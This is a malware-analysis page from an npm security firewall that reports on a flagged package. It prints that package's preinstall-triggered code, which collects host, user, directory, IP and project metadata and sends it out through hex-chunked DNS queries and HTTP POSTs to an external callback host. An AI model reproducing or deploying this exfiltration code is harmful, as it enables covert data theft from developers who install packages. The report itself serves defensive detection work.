stillm4ddpocs-demo-gadget@999.9.20: Malicious npm security report | LPM Firewall

Loading npm security reports…

stillm4ddpocs-demo-gadget@999.9.20: Malicious npm security report | LPM Firewall

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed";

High

Ai Review Evidence

Reads consuming project's package.json.

index.jsView on unpkg · L36

117uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), public_ip: null, resolver_ip: null, client_subnet: null, poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homepage: parent.homepage || null

High

Ai Review Evidence

Collects host, user, home, CWD, local/public IP and resolver subnet.

index.jsView on unpkg · L117

146const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

High

Ai Review Evidence

Encodes collected JSON into DNS queries and POSTs it to an external callback.

index.jsView on unpkg · L146

Lines 97-166javascript

97 if (err || !records) return finish(null, null);

98 let ip = null, subnet = null;

99 for (const parts of records) {

100 for (const value of [].concat(parts)) {

101 const v = String(value).trim();

102 if (/^[0-9a-f.:]{3,45}$/i.test(v)) ip = ip || v;

103 const m = v.match(/edns0-client-subnet\s+([0-9a-f.:]+\/\d+)/i);

104 if (m) subnet = subnet || m[1];

105 }

106 }

107 finish(ip, subnet);

108 });

109 } catch (e) { finish(null, null); }

110}

111

112function collect() {

113 const parent = parentProject();

114 let user = null, home = null;

115 try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}

116 return {

117 uuid: crypto.randomUUID(),

118 ip: localIPv4(),

119 hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),

120 user: user,

121 home: home,

122 cwd: process.env.INIT_CWD || process.cwd(),

123 public_ip: null,

124 resolver_ip: null,

125 client_subnet: null,

126 poc: PACKAGE,

127 parent: parent.name,

128 author: parent.author || null,

High

Ai Review Evidence

Collects host, user, home, CWD, local/public IP and resolver subnet.

index.jsView on unpkg · L117

129 repository: parent.repository || null,

130 homepage: parent.homepage || null

131 };

132}

133

134function beacon(info) {

135 const body = JSON.stringify(info);

136

137 // DNS first: it is the channel most likely to survive corporate egress

138 // filtering. Labels are capped at 63 characters, so the payload is chunked.

139 try {

140 // Hex, not base64. Resolvers randomise the capitalisation of query

141 // names as an anti-spoofing measure (DNS 0x20 encoding): DNS is

142 // case-insensitive and the response must echo the case back, which is

143 // cheap entropy against cache poisoning. It also destroys any

144 // case-sensitive encoding -- base64 chunks arrive intact but scrambled

145 // and the original case is unrecoverable. Hex has one case.

146 const hex = Buffer.from(body).toString("hex");

147 const chunks = hex.match(/.{1,60}/g) || [];

148 dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});

149 chunks.forEach((c, i) => {

150 try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

High

Ai Review Evidence

Encodes collected JSON into DNS queries and POSTs it to an external callback.

index.jsView on unpkg · L146

151 });

152 } catch (e) {}

153

154 for (const [mod, port] of [[https, 443], [http, 80]]) {

155 try {

156 const req = mod.request({

157 hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,

158 method: "POST", timeout: 5000,

159 headers: {

160 "Content-Type": "application/json",

161 "Content-Length": Buffer.byteLength(body),

162 "X-Poc-Uuid": info.uuid

163 }

164 });

165 req.on("error", () => {});

166 req.on("timeout", () => { try { req.destroy(); } catch (e) {} });